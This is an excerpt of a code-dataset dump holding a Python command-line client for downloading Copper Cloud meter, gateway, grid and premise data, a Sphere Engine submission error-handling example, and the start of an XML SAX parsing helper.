[]\n print (\n \"Building information for {num} premises on {now}...\".format(\n num=len(prems), now=datetime.now().strftime(\"%c\")\n )\n )\n for p in prems:\n emails = \";\".join([u.get(\"email\", \"missing\") for u in p.get(\"user_list\", [])]) \n rows.append([\n p[\"id\"],\n p[\"created_at\"],\n p[\"street_address\"],\n p[\"suite_apartment_unit\"],\n p[\"city_town\"],\n p[\"postal_code\"],\n p[\"county_district\"],\n p[\"state_region\"],\n list(set(p[\"tags\"])),\n emails,\n ])\n dtypes = [\"a\"] * len(header)\n return title, header, rows, dtypes\n\n def get_gateway_data(self):\n title = \"Gateway download\"\n header = [\n \"ID\",\n \"Premise ID\",\n \"State\",\n \"Model\",\n \"Last Heard\",\n \"Firmware Version\",\n ]\n url = \"{url}/partner/{id}/gateway\".format(\n url=CopperCloudClient.API_URL,\n id=self.args.enterprise_id,\n )\n gateways = self.cloud_client.get_helper(url)\n rows = []\n print (\n \"Building information for {num} gateways on {now}...\".format(\n num=len(gateways), now=datetime.now().strftime(\"%c\")\n )\n )\n for g in gateways:\n rows.append([\n g[\"id\"],\n g[\"premise_id\"],\n g[\"state\"],\n g[\"model\"],\n g[\"last_heard\"],\n g[\"firmware_version\"],\n\n ])\n dtypes = [\"a\"] * len(header)\n return title, header, rows, dtypes\n\n def get_meter_generic(self, endpoint):\n if not self.args.output_dir:\n print(\"Must add the top-level --output-dir option when running this command\")\n exit(1)\n title = \"Meter {} download {} through {}\".format(endpoint, self.args.start, self.args.end)\n header = [\"ID\", \"Type\", \"Sum Usage\"]\n meters = self._get_all_elements(\"meter\")\n rows = []\n for meter in meters:\n if self.args.meter_id and meter[\"id\"] != self.args.meter_id:\n continue\n destpath = \"{output_dir}/{mid}.{endpoint}.csv\".format(output_dir=self.args.output_dir, mid=meter[\"id\"].replace(\":\", \"_\"), endpoint=endpoint)\n if os.path.isfile(destpath):\n if self.args.debug:\n print (\"\\nSkipping collection for meter \" + meter[\"id\"])\n continue\n print (\"\\nCollecting data for meter \" + meter[\"id\"])\n energy = self._get_meter_generic(\n meter,\n self.args.start,\n self.args.end,\n self.args.granularity,\n self.args.step,\n endpoint=endpoint\n )\n if not energy or not energy[\"sum_energy\"]:\n if self.args.debug:\n print(\"nothing to save for meter {}\".format(meter[\"id\"]))\n continue\n rows.append(\n [energy[\"meter_id\"], energy[\"meter_type\"], energy[\"sum_energy\"],]\n )\n results = []\n results.append([\"timestamp\", \"energy\", \"power\"])\n for result in energy[\"results\"]:\n rx_utc = parser.parse(result[\"time\"])\n rx_local = rx_utc.astimezone(pytz.timezone(energy[\"tz\"])).replace(tzinfo=None)\n results.append(\n [rx_local, result[\"usage\"] if 'usage' in result.keys() else result['energy'], result[\"power\"],]\n )\n self.write_csvfile(destpath, results)\n dtypes = [\"t\", \"t\", \"a\"]\n return title, header, rows, dtypes\n\n def get_meter_usage(self):\n return self.get_meter_generic('usage')\n\n def get_meter_baseline(self):\n return self.get_meter_generic('baseline-series')\n\n def get_meter_average(self):\n return self.get_meter_generic('average-series')\n\n def get_meter_readings(self):\n if not self.args.output_dir:\n print(\"Must add the top-level --output-dir option when running this command\")\n exit(1)\n title = \"Meter readings download {} through {}\".format(self.args.start, self.args.end)\n header = [\"ID\", \"Type\", \"Created\"]\n meters = self._get_all_elements(\"meter\")\n rows = []\n for meter in meters:\n if self.args.meter_id and meter[\"id\"] != self.args.meter_id:\n continue\n created_utc = parser.parse(meter[\"created_at\"])\n created_local = created_utc.astimezone(pytz.timezone(self.args.timezone)).replace(tzinfo=None)\n rows.append([\n meter[\"id\"],\n meter[\"type\"],\n created_local,\n ])\n destpath = \"{output_dir}/{mid}.csv\".format(output_dir=self.args.output_dir, mid=meter[\"id\"].replace(\":\", \"_\"))\n if os.path.isfile(destpath):\n if self.args.debug:\n print (\"\\nSkipping collection for meter \" + meter[\"id\"])\n continue\n print (\"\\nCollecting data for meter \" + meter[\"id\"])\n readings = self._get_meter_readings(\n meter[\"id\"],\n self.args.start,\n self.args.end,\n meter[\"created_at\"]\n )\n if not readings or not readings[\"results\"]:\n if self.args.debug:\n print(\"nothing to save for meter {}\".format(meter[\"id\"]))\n continue\n results = [[\"ID\", \"Type\", \"Timestamp\", \"Actual ({})\".format(meter[\"uom\"]), \"Normalized (kwh)\"]]\n if self.args.latest:\n readings[\"results\"] = [readings[\"results\"][-1]]\n for result in readings[\"results\"]:\n rx_utc = parser.parse(result[\"time\"])\n rx_local = rx_utc.astimezone(pytz.timezone(self.args.timezone)).replace(tzinfo=None)\n results.append([\n readings[\"meter_id\"],\n readings[\"meter_type\"],\n rx_local,\n result[\"actual\"],\n result[\"value\"],\n ])\n self.write_csvfile(destpath, results)\n dtypes = [\"t\", \"t\", \"a\"]\n return title, header, rows, dtypes\n\n def get_grid_latest(self):\n title = \"Grid latest download\"\n header = [\"Premise ID\", \"Address\", \"City\", \"Postal Code\", \"Gateway ID\", \"Timestamp\", \"Voltage\", \"Frequency\"]\n premises = {premise[\"id\"]: premise for premise in self._get_all_elements(\"premise\")}\n results = self._get_all_elements_next(\"grid/latest\")\n rows = []\n\n for result in results:\n rx_utc = parser.parse(result[\"hw_timestamp\"])\n rx_local = rx_utc.astimezone(pytz.timezone(premises[result[\"premise_id\"]][\"timezone\"])).replace(tzinfo=None)\n self.tick()\n rows.append([\n premises[result[\"premise_id\"]][\"id\"],\n premises[result[\"premise_id\"]][\"street_address\"],\n premises[result[\"premise_id\"]][\"city_town\"],\n premises[result[\"premise_id\"]][\"postal_code\"].rjust(5, \"0\"),\n result[\"gateway_id\"],\n rx_local,\n result[\"voltage\"],\n result[\"frequency\"],\n ])\n dtypes = [\"t\", \"t\", \"t\", \"t\", \"t\", \"t\", \"a\", \"a\"]\n return title, header, rows, dtypes\n\n def _get_grid_readings(self, start, end, timezone, premise_id=None, gateway_id=None):\n tz = pytz.timezone(timezone)\n start = parser.parse(start)\n end = parser.parse(end)\n offset = int(tz.localize(start).strftime(\"%z\")[:-2])\n readings = []\n for d in self._daterange(start, end):\n self.tick()\n istart = datetime.combine(d, time()) - timedelta(hours=offset)\n iend = istart + timedelta(days=1)\n query_params = {\n \"start\": istart.strftime(CopperEnterpriseClient.DATETIME_FMT),\n \"end\": iend.strftime(CopperEnterpriseClient.DATETIME_FMT),\n }\n if premise_id != None:\n query_params[\"premise_id\"] = premise_id\n if gateway_id != None:\n query_params[\"gateway_id\"] = gateway_id\n url = \"{url}/partner/{eid}/grid/readings?{qstr}\".format(\n url=CopperCloudClient.API_URL,\n eid=self.args.enterprise_id,\n qstr=urlencode(query_params)\n )\n try:\n data = self.cloud_client.get_helper(url)\n data = sorted(data, key=lambda x:x[\"hw_timestamp\"])\n readings += data\n\n except Exception as err:\n print(\"GET ERROR: {}\".format(pformat(err)))\n break\n return readings\n\n def get_grid_readings(self):\n if not self.args.output_dir:\n print(\"Must add the top-level --output-dir option when running this command\")\n exit(1)\n title = \"Grid readings download {} through {}\".format(self.args.start, self.args.end)\n header = [\"Premise ID\", \"Address\", \"City\", \"Postal Code\", \"Gateway ID\"]\n premises = {premise[\"id\"]: premise for premise in self._get_all_elements(\"premise\")}\n timezone = None\n for premise in premises.values():\n # Grab timezone from the first prem, used to build up a UTC query to the cloud\n timezone = premise[\"timezone\"]\n break\n gateways = self._get_all_elements(\"gateway\", with_history='false')\n all_gateway_readings = self._get_grid_readings(\n self.args.start,\n self.args.end,\n timezone,\n premise_id=self.args.premise_id,\n gateway_id=self.args.gateway_id,\n )\n rows = []\n gateway_readings = {}\n # This could be a huge amoun of data. Sort through it once at the cost of memory.\n for reading in all_gateway_readings:\n if reading[\"gateway_id\"] not in gateway_readings.keys():\n gateway_readings[reading[\"gateway_id\"]] = []\n gateway_readings[reading[\"gateway_id\"]].append(reading)\n \n for gateway in gateways:\n if ((self.args.gateway_id and self.args.gateway_id != gateway[\"id\"]) or\n (self.args.premise_id and self.args.premise_id != gateway[\"premise_id\"])):\n continue\n self.tick(\"g\")\n rows.append([\n premises[gateway[\"premise_id\"]][\"id\"],\n premises[gateway[\"premise_id\"]][\"street_address\"],\n premises[gateway[\"premise_id\"]][\"city_town\"],\n premises[gateway[\"premise_id\"]][\"postal_code\"].rjust(5, \"0\"),\n gateway[\"id\"]\n ])\n destpath = \"{output_dir}/{gid}.csv\".format(\n output_dir=self.args.output_dir,\n gid=gateway[\"id\"]\n )\n if os.path.isfile(destpath):\n if self.args.debug:\n a = 0\n print(\"\\nSkipping collection for gateway {}\".format(gateway[\"id\"]))\n continue\n readings = gateway_readings.get(gateway[\"id\"], [])\n if len(readings) == 0:\n if self.args.debug:\n print(\"nothing to save for gateway {}\".format(gateway[\"id\"]))\n continue\n data = [[\"Gateway ID\", \"Timestamp\", \"Voltage\", \"Frequency\"]]\n for reading in readings:\n rx_utc = parser.parse(reading[\"hw_timestamp\"])\n rx_local = rx_utc.astimezone(pytz.timezone(premises[gateway[\"premise_id\"]][\"timezone\"])).replace(tzinfo=None)\n data.append([\n reading[\"gateway_id\"],\n rx_local,\n reading[\"voltage\"],\n reading[\"frequency\"],\n ])\n self.write_csvfile(destpath, data)\n dtypes = [\"t\", \"t\", \"t\", \"t\", \"t\"]\n return title, header, rows, dtypes\n\n def get_water_meter_reversals(self):\n midnight = datetime.combine(date.today(), time())\n start = (midnight - timedelta(days=30)).strftime(CopperEnterpriseClient.DATE_FMT)\n end = midnight.strftime(CopperEnterpriseClient.DATE_FMT)\n title = \"Suspect water meter reversals\"\n header = [\"Address\", \"Indoor Usage\", \"Outdoor Usage\"]\n meters = self._get_all_elements_next(\"bulk\")\n rows = []\n prems = {}\n num = (\n self.args.check_limit if self.args.check_limit else len(meters)\n )\n # Step 1: sort meters by prem\n print (\"Correlating water meters for each home...\")\n for meter in meters:\n if not meter[\"meter_type\"].startswith(\"water_\"):\n continue\n if not num:\n break\n num -= 1\n self.tick()\n url = \"{url}/partner/{eid}/meter/{mid}/location\".format(\n url=CopperCloudClient.API_URL, mid=meter[\"meter_id\"],\n eid=self.args.enterprise_id,\n )\n location = self.cloud_client.get_helper(url)\n if location[\"street_address\"] not in prems.keys():\n prems[location[\"street_address\"]] = {}\n prems[location[\"street_address\"]][meter[\"meter_type\"]] = {\n \"meter_id\": meter[\"meter_id\"]\n }\n # Step 2: fetch meter usage and look for gross imbalance in usage\n print (\"Checking for potential water-meter reversals...\")\n for (address, p) in prems.items():\n self.tick()\n indoor = {\"sum_usage\": None}\n outdoor = {\"sum_usage\": None}\n if \"water_indoor\" in p.keys():\n # TBD: convert to _generic\n indoor = self._get_meter_usage(\n p[\"water_indoor\"][\"meter_id\"], start, end, \"day\", step=30\n )\n if \"water_outdoor\" in p.keys():\n outdoor = self._get_meter_usage(\n p[\"water_outdoor\"][\"meter_id\"], start, end, \"day\", step=30\n )\n add_the_row = False\n if not indoor[\"sum_usage\"] or not outdoor[\"sum_usage\"]:\n # Flag missing data for further investigation\n add_the_row = True\n elif self.args.method == \"summer\":\n # During summer: possible reversal if indoors dwarfs outdoor\n if (\n indoor[\"sum_usage\"] > 1000\n and indoor[\"sum_usage\"] > outdoor[\"sum_usage\"] * 10\n ):\n add_the_row = True\n elif outdoor[\"sum_usage\"] > 1000:\n # During winter: possible reserval if outdoor has non-trivial usage\n add_the_row = True\n if add_the_row:\n rows.append([address, indoor[\"sum_usage\"], outdoor[\"sum_usage\"]])\n dtypes = [\"a\"] * len(header)\n return title, header, rows, dtypes\n\n def strip_unicode_chars(self, text):\n return text.encode(\"ascii\", \"ignore\") if text else \"\"\n\n def _state_to_symbol(self, state):\n switcher = {\n \"active\": \".\",\n \"connected\": \".\",\n \"degraded\": \"/\",\n \"disconnected\": \"X\",\n \"down\": \"X\",\n # don't care\n \"skip\": \" \",\n }\n return switcher.get(state, \"?\")\n\n def _fill_element_states(self, starting_date, timezone, days_history, state, state_changes):\n state_changes = sorted(state_changes, key=lambda x : x[\"timestamp\"], reverse=True) if state_changes != None else []\n tz = pytz.timezone(timezone)\n starting_date = parser.parse(starting_date).astimezone(tz).replace(tzinfo=None)\n row = []\n for change in state_changes:\n change[\"timestamp\"] = parser.parse(change[\"timestamp\"]).astimezone(tz).replace(tzinfo=None)\n for i in range(days_history):\n day = date.today() - timedelta(days=i)\n if starting_date.date() > day:\n row += self._state_to_symbol(\"skip\")\n continue\n next_state = state\n last_change = first_change = None\n for change in state_changes:\n change_day = change[\"timestamp\"].date()\n if change_day == day:\n if not last_change:\n last_change = change\n if not first_change:\n first_change = change\n if last_change and change[\"timestamp\"] > last_change[\"timestamp\"]:\n last_change = change\n if first_change and change[\"timestamp\"] < first_change[\"timestamp\"]:\n first_change = change\n next_state = first_change[\"from\"]\n down = [\"down\", \"disconnected\"]\n up = [\"active\", \"connected\"]\n if not ((state in down and next_state in down) or (state in up and next_state in up)):\n # filter out equivalent states from the end-user perspective\n state = \"change\"\n row += self._state_to_symbol(state)\n state = next_state\n return row\n\n def get_health_data(self):\n days_history = 7\n title = \"Premise Health\"\n header = [\n \"Premise ID\",\n \"Address\",\n \"Type\",\n \"ID\",\n \"State\",\n ]\n self.tick(\"\\\\\")\n premises = sorted(self._get_all_elements(\"premise\"), key=lambda x : x[\"created_at\"])\n self.tick(\"_\")\n gateways = self._get_all_elements(\"gateway\", with_history='false')\n gateways_history = {gateway[\"id\"]: gateway for gateway in self._get_all_elements(\"gateway/history\")}\n self.tick(\"/\")\n meters = self._get_all_elements(\"meter\")\n\n rows = []\n for p in premises:\n self.tick(\"p\")\n # Build meter status for this prem\n for m in meters:\n if m[\"premise_id\"] != p[\"id\"]: continue\n self.tick(\"m\")\n row = [\n p[\"id\"],\n p[\"street_address\"],\n \"{type} meter\".format(type=m[\"type\"]),\n m[\"id\"],\n m[\"state\"],\n ]\n rows.append(row + self._fill_element_states(p[\"created_at\"], p[\"timezone\"], days_history, m[\"state\"], m[\"seven_day_history\"]))\n\n # Build gateway status for this prem\n for g in gateways:\n if g[\"premise_id\"] != p[\"id\"]: continue\n self.tick(\"g\")\n row = [\n p[\"id\"],\n p[\"street_address\"],\n \"gateway\",\n g[\"id\"],\n g[\"state\"],\n ]\n history = gateways_history[g[\"id\"]][\"history\"] if g[\"id\"] in gateways_history else []\n rows.append(row + self._fill_element_states(p[\"created_at\"], p[\"timezone\"], days_history, g[\"state\"], history))\n\n for i in range(days_history):\n header.append((date.today() - timedelta(days=i)).strftime(\"%m/%d\"))\n dtypes = [\"t\"] * len(header)\n return title, header, rows, dtypes\n\n def get_monthly_report(self):\n title = \"Monthly report for {}\".format(self.args.date)\n header = [\"Statistic\", \"Value\", \"Units\", \"Note\"]\n self.tick(\"\\\\\")\n premises = {premise[\"id\"]: premise for premise in sorted(self._get_all_elements(\"premise\"), key=lambda x : x[\"created_at\"])}\n self.tick(\"_\")\n all_meters = self._get_all_elements(\"meter\")\n self.tick(\"/\")\n meter_types = list(set([meter[\"type\"] for meter in all_meters])) if len(all_meters) else list(CopperEnterpriseClient.METER_TYPE_UOM)\n meter_types.sort()\n rows = []\n meters_by_type = {type: [] for type in meter_types}\n\n # Grab the monthly usage calculated in arrears for the first day of month after the desired month\n start = parser.parse(self.args.date).replace(day=1)\n end = start + relativedelta(months=1) #+ timedelta(days=1)\n\n # Split meters out by type for faster processing below, and drop meters that did not exist prior to the start date\n meters = []\n for meter in all_meters:\n #if meter[\"state\"] != \"connected\":\n # print(\"skipping disonnected meter {}\".format(meter[\"id\"]))\n # continue\n premise = premises[meter[\"premise_id\"]]\n tz = pytz.timezone(premise[\"timezone\"])\n meter_created = parser.parse(meter[\"created_at\"]).astimezone(tz).replace(tzinfo=None)\n premise_created = parser.parse(meter[\"premise_created_at\"]).astimezone(tz).replace(tzinfo=None)\n if end < meter_created: # or end < premise_created:\n if self.args.debug:\n print(\"skipping meter {} which did not exist prior to {}\".format(meter[\"id\"], end))\n continue\n meters.append(meter)\n meters_by_type[meter[\"type\"]].append(meter)\n\n # Drop premises that did not exist prior to the start date. Can't combine with previous step\n # since there may be multiple meters for the same prem needing to look up timezone\n istart = None\n iend = None\n num_prems = len(premises)\n for pid in list(premises):\n premise = premises[pid]\n tz = pytz.timezone(premise[\"timezone\"])\n if not istart:\n offset = int(tz.localize(start).strftime(\"%z\")[:-2])\n istart = datetime.combine(start, time()) - timedelta(hours=offset)\n #iend = (istart + relativedelta(months=1) + timedelta(days=1)).strftime(CopperEnterpriseClient.DATETIME_FMT)\n iend = (istart + relativedelta(months=1)).strftime(CopperEnterpriseClient.DATETIME_FMT)\n istart = istart.strftime(CopperEnterpriseClient.DATETIME_FMT)\n premise_created = parser.parse(premise[\"created_at\"]).astimezone(tz).replace(tzinfo=None)\n if end < premise_created:\n if self.args.debug:\n print(\"dropping premise {} which did not exist prior to {}\".format(premise[\"id\"], end))\n num_prems -= 1\n\n rows.append([\"total homes\", num_prems, \"\", \"1\"])\n rows.append([\"total meters\", len(meters), \"\", \"1\"])\n\n reporting_meters = 0\n for meter_type in meter_types:\n rows.append([\"{} meters\".format(meter_type), len([meter for meter in meters if meter[\"type\"] == meter_type]), \"\", \"1\"])\n if self.args.include_sum:\n print(\"\\n{}\".format(meter_type))\n sum_usage = 0\n for meter in meters_by_type[meter_type]:\n usage = self._get_meter_usage(\n meter[\"id\"],\n start.strftime(CopperEnterpriseClient.DATE_FMT),\n end.strftime(CopperEnterpriseClient.DATE_FMT),\n \"month\",\n step=45,\n timezone=premises[meter[\"premise_id\"]][\"timezone\"]\n )\n sum_usage += usage.get(\"sum_usage\", 0) if usage else 0\n rows.append([\"{} cumulative per-meter usage\".format(meter_type), round(sum_usage, 2), CopperEnterpriseClient.METER_TYPE_UOM[meter_type], \"2\"])\n url = \"{url}/partner/{eid}/aggregate/usage?{qstr}\".format(\n url=CopperCloudClient.API_URL,\n eid=self.args.enterprise_id,\n qstr=urlencode(\n {\n \"granularity\": \"month\",\n \"start\": istart,\n \"end\": iend,\n \"meter_type\": meter_type,\n }\n ),\n )\n try:\n self.tick()\n response = self.cloud_client.get_helper(url)\n except Exception as err:\n # assume there were no meters found for this type\n response = {\"meter_count\": 0, \"sum_energy\": 0}\n sum_usage = response[\"sum_energy\"] if response[\"sum_energy\"] else 0\n reporting_meters += response[\"meter_count\"] if response[\"meter_count\"] else 0\n if response[\"meter_count\"]:\n #rows.append([\"{} meters reporting\".format(meter_type), response[\"meter_count\"], \"\", \"3\"])\n rows.append([\"{} aggregate usage\".format(meter_type), round(sum_usage, 2), CopperEnterpriseClient.METER_TYPE_UOM[meter_type], \"4\"])\n\n #rows.append([\"total reporting meters\", reporting_meters, \"\", \"3\"])\n\n legend_header = [\"Note\", \"Description\"]\n legend_rows = [\n legend_header,\n [\"1\", \"Number of elements in existence during the report window\"],\n [\"2\", \"Sum of individual meter usages during the report window\"],\n [\"3\", \"Number of currently-connected meters contributing to the aggregate usage\"],\n [\"4\", \"Aggregate usage of currently-connected meters during the report window\"],\n ]\n if not self.args.quiet:\n self.create_and_print_table(\"\\nLegend\", legend_header, legend_rows, [\"t\"] * len(legend_header))\n if self.args.csv_output_file:\n output_file = os.path.join(self.args.output_dir, \"readme.txt\")\n self.write_csvfile(output_file, legend_rows, mode=\"w\")\n\n dtypes = [\"t\"] * len(header)\n return title, header, rows, dtypes\n\n def parse_args(self):\n parser = argparse.ArgumentParser(\n add_help=True,\n description=\"Command-line utilities to interact with Copper Cloud.\",\n )\n parser.add_argument(\n \"--csv-output-file\",\n dest=\"csv_output_file\",\n default=None,\n help=\"Write output to CSV file.\",\n )\n parser.add_argument(\n \"--output-dir\",\n dest=\"output_dir\",\n default=None,\n help=\"Write output to specified directory.\",\n )\n parser.add_argument(\n \"--quiet\",\n dest=\"quiet\",\n action=\"store_true\",\n default=False,\n help=\"Suppress printing results to the console.\",\n )\n parser.add_argument(\n \"--debug\",\n dest=\"debug\",\n action=\"store_true\",\n default=False,\n help=\"Enable debug output\",\n )\n parser.add_argument(\n \"--query-limit\",\n type=int,\n dest=\"query_limit\",\n default=None,\n help=\"Limit API query (for debugging purposes).\",\n )\n parser.add_argument(\n \"--enterprise_id\",\n dest=\"enterprise_id\",\n default=os.environ[\"COPPER_ENTERPRISE_ID\"],\n help=\"Enterprise ID (filter premises belonging to enterprise)\"\n )\n\n subparser = parser.add_subparsers()\n\n parser_a = subparser.add_parser(\"bulk\")\n parser_a.add_argument(\n \"--detailed\",\n dest=\"detailed\",\n action=\"store_true\",\n default=False,\n help=\"Enable detailed output\",\n )\n parser_a.set_defaults(func=CopperEnterpriseClient.get_bulk_data)\n\n parser_b = subparser.add_parser(\"meter\")\n subparser_b = parser_b.add_subparsers()\n parser_m_status = subparser_b.add_parser(\"status\")\n parser_m_status.add_argument(\n \"--detailed\",\n dest=\"detailed\",\n action=\"store_true\",\n default=False,\n help=\"Enable detailed output\",\n )\n parser_m_status.set_defaults(func=CopperEnterpriseClient.get_meter_data)\n parser_c = subparser_b.add_parser(\"usage\")\n parser_c.add_argument(\n \"--meter-id\",\n dest=\"meter_id\",\n default=None,\n help=\"Select a single meter to query.\",\n )\n parser_c.add_argument(\n \"--granularity\",\n dest=\"granularity\",\n default=\"hour\",\n help=\"Set query granularity for time-series data.\",\n )\n parser_c.add_argument(\n \"--timezone\",\n dest=\"timezone\",\n default=None,\n help=\"Force same timezone (ex: 'America/New_York') for all meters to minimize hits on Copper Cloud.\",\n )\n parser_c.add_argument(\n \"--step\",\n type=int,\n dest=\"step\",\n default=1,\n help=\"Set number of days (end - start) to request per API call.\",\n )\n parser_c.add_argument(\"start\", help=\"Query start date, formatted as: \" + CopperEnterpriseClient.HELP_DATE_FMT)\n parser_c.add_argument(\"end\", help=\"Query end date, formatted as: \" + CopperEnterpriseClient.HELP_DATE_FMT)\n parser_c.set_defaults(func=CopperEnterpriseClient.get_meter_usage)\n parser_meter_readings = subparser_b.add_parser(\"readings\")\n parser_meter_readings.add_argument(\n \"--meter-id\",\n dest=\"meter_id\",\n default=None,\n help=\"Select a single meter to query.\",\n )\n parser_meter_readings.add_argument(\n \"--timezone\",\n dest=\"timezone\",\n default=\"America/Denver\",\n help=\"Force same timezone (ex: 'America/New_York') for all meters to minimize hits on Copper Cloud.\",\n )\n parser_meter_readings.add_argument(\n \"--latest\",\n dest=\"latest\",\n action=\"store_true\",\n default=False,\n help=\"Capture only the latest reading between start and end\",\n )\n parser_meter_readings.add_argument(\"start\", help=\"Query start date, formatted as: \" + CopperEnterpriseClient.HELP_DATE_FMT)\n parser_meter_readings.add_argument(\"end\", help=\"Query end date, formatted as: \" + CopperEnterpriseClient.HELP_DATE_FMT)\n parser_meter_readings.set_defaults(func=CopperEnterpriseClient.get_meter_readings)\n parser_d = subparser_b.add_parser(\"check-for-water-reversals\")\n parser_d.set_defaults(func=CopperEnterpriseClient.get_water_meter_reversals)\n parser_d.add_argument(\n \"--check-limit\",\n type=int,\n dest=\"check_limit\",\n default=None,\n help=\"Limit number of homes to check (for debugging purposes).\",\n )\n parser_d.add_argument(\n \"--method\",\n dest=\"method\",\n default=\"summer\",\n help=\"Method for checking [summer, winter]\",\n )\n parser_m_baseline = subparser_b.add_parser(\"baseline-series\")\n parser_m_baseline.add_argument(\n \"--meter-id\",\n dest=\"meter_id\",\n default=None,\n help=\"Select a single meter to query.\",\n )\n parser_m_baseline.add_argument(\n \"--granularity\",\n dest=\"granularity\",\n default=\"hour\",\n help=\"Set query granularity for time-series data.\",\n )\n parser_m_baseline.add_argument(\n \"--timezone\",\n dest=\"timezone\",\n default=None,\n help=\"Force same timezone (ex: 'America/New_York') for all meters to minimize hits on Copper Cloud.\",\n )\n parser_m_baseline.add_argument(\n \"--step\",\n type=int,\n dest=\"step\",\n default=1,\n help=\"Set number of days (end - start) to request per API call.\",\n )\n parser_m_baseline.add_argument(\"start\", help=\"Query start date, formatted as: \" + CopperEnterpriseClient.HELP_DATE_FMT)\n parser_m_baseline.add_argument(\"end\", help=\"Query end date, formatted as: \" + CopperEnterpriseClient.HELP_DATE_FMT)\n parser_m_baseline.set_defaults(func=CopperEnterpriseClient.get_meter_baseline)\n parser_m_average = subparser_b.add_parser(\"average-series\")\n parser_m_average.add_argument(\n \"--meter-id\",\n dest=\"meter_id\",\n default=None,\n help=\"Select a single meter to query.\",\n )\n parser_m_average.add_argument(\n \"--granularity\",\n dest=\"granularity\",\n default=\"hour\",\n help=\"Set query granularity for time-series data.\",\n )\n parser_m_average.add_argument(\n \"--timezone\",\n dest=\"timezone\",\n default=None,\n help=\"Force same timezone (ex: 'America/New_York') for all meters to minimize hits on Copper Cloud.\",\n )\n parser_m_average.add_argument(\n \"--step\",\n type=int,\n dest=\"step\",\n default=1,\n help=\"Set number of days (end - start) to request per API call.\",\n )\n parser_m_average.add_argument(\"start\", help=\"Query start date, formatted as: \" + CopperEnterpriseClient.HELP_DATE_FMT)\n parser_m_average.add_argument(\"end\", help=\"Query end date, formatted as: \" + CopperEnterpriseClient.HELP_DATE_FMT)\n parser_m_average.set_defaults(func=CopperEnterpriseClient.get_meter_average)\n\n parser_prem = subparser.add_parser(\"premise\")\n parser_prem .add_argument(\n \"--with-users\",\n dest=\"with_users\",\n action=\"store_true\",\n default=False,\n help=\"Include user emails in report\",\n )\n parser_prem.set_defaults(func=CopperEnterpriseClient.get_prem_data)\n\n parser_gateway = subparser.add_parser(\"gateway\")\n parser_gateway.set_defaults(func=CopperEnterpriseClient.get_gateway_data)\n\n parser_grid = subparser.add_parser(\"grid\")\n subparser_grid = parser_grid.add_subparsers()\n parser_grid_latest = subparser_grid.add_parser(\"latest\")\n parser_grid_latest.set_defaults(func=CopperEnterpriseClient.get_grid_latest)\n parser_grid_readings = subparser_grid.add_parser(\"readings\")\n parser_grid_readings.add_argument(\n \"--premise-id\",\n dest=\"premise_id\",\n default=None,\n help=\"Select a single premise to query.\",\n )\n parser_grid_readings.add_argument(\n \"--gateway-id\",\n dest=\"gateway_id\",\n default=None,\n help=\"Select a single gateway to query.\",\n )\n parser_grid_readings.add_argument(\"start\", help=\"Query start date, formatted as: \" + CopperEnterpriseClient.HELP_DATE_FMT)\n parser_grid_readings.add_argument(\"end\", help=\"Query end date, formatted as: \" + CopperEnterpriseClient.HELP_DATE_FMT)\n parser_grid_readings.set_defaults(func=CopperEnterpriseClient.get_grid_readings)\n\n parser_report = subparser.add_parser(\"report\")\n subparser_report = parser_report.add_subparsers()\n\n parser_health = subparser_report.add_parser(\"health\")\n parser_health.set_defaults(func=CopperEnterpriseClient.get_health_data)\n\n parser_monthly = subparser_report.add_parser(\"monthly\")\n parser_monthly.add_argument(\"date\", help=\"Query date, formatted as: \" + CopperEnterpriseClient.HELP_DATE_FMT)\n parser_monthly.add_argument(\n \"--include-per-meter-sum\",\n dest=\"include_sum\",\n action=\"store_true\",\n default=False,\n help=\"Include cumulative per-meter usage query in addition to the aggregate query. Warning, this may take a LONG time and exhaust the API rate limit\",\n )\n parser_monthly.set_defaults(func=CopperEnterpriseClient.get_monthly_report)\n\n self.args = parser.parse_args()\n\n\ndef main():\n client = CopperEnterpriseClient()\n client.run()\n print (\"complete!\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"copper-enterprise-client.py","file_name":"copper-enterprise-client.py","file_ext":"py","file_size_in_byte":54760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"535906980","text":"\"\"\"\r\nExample presents error handling for submissions.createWithTarSource() API method\r\n\"\"\"\r\nfrom sphere_engine import CompilersClientV4\r\nfrom sphere_engine.exceptions import SphereEngineException\r\n\r\n# define access parameters\r\naccessToken = ''\r\nendpoint = ''\r\n\r\n# initialization\r\nclient = CompilersClientV4(accessToken, endpoint)\r\n\r\n# API usage\r\ntar_source = ''\r\ncompiler = 11 # C language\r\ninput = '2017'\r\n\r\ntry:\r\n response = client.submissions.createWithTarSource(tar_source, compiler, input)\r\n # response['id'] stores the ID of the created submission\r\nexcept SphereEngineException as e:\r\n if e.code == 401:\r\n print('Invalid access token')\r\n elif e.code == 402:\r\n print('Unable to create submission')\r\n elif e.code == 400:\r\n print('Error code: ' + str(e.error_code) + ', details available in the message: ' + str(e))\r\n","sub_path":"Examples/V4/compilers/submissions/createSubmissionWithTarSourceErrorHandling.py","file_name":"createSubmissionWithTarSourceErrorHandling.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"556356964","text":"# -*- coding: utf-8 -*-\n# $Id$\n\n# Functionality for managing, as well as loading and saving a dataset\nfrom __future__ import absolute_import\n\nimport logging\nimport xml.sax as sax\n\n\nclass XMLException(Exception):\n \"\"\"The base class for all XML parser exceptions. These are caught by some\n content handlers and augmented with line/column information.\n \"\"\"\n def __init__(self, message):\n super(XMLException, self).__init__(message)\n \nclass UnexpectedElement(XMLException):\n \"\"\"Exception that is thrown upon encountering an unexpected element\"\"\"\n def __init__(self, tag, stack):\n super(UnexpectedElement, self).__init__(\"'%s' after '%s'\" % (tag, \", \".join(stack)))\n\nclass ContentHandlerError(XMLException):\n \"\"\"Wraps another exception with line/column info\"\"\"\n def __init__(self, tag, line, column, exception):\n if line is not None and column is not None:\n if tag is not None:\n message = \"At tag %s, near line %d, column %d: %s: %s\" % \\\n (tag, line, column, exception.__class__.__name__ , str(exception))\n else:\n message = \"Near line %d, column %d: %s: %s\" % \\\n (line, column, exception.__class__.__name__ , str(exception))\n else:\n message = \"%s: %s\" % \\\n (exception.__class__.__name__ , str(exception))\n super(ContentHandlerError, self).__init__(message)\n self.exception = exception\n self.line = line\n self.column = column\n self.tag = tag\n\n\nclass ContentHandlerBase(sax.ContentHandler):\n \"\"\"Convenience base class for an XML SAX content handler.\n Provides automatic dispatching to methods that handle individual\n elements, of the form \"start_\" and \"end_\", and maintains an\n element 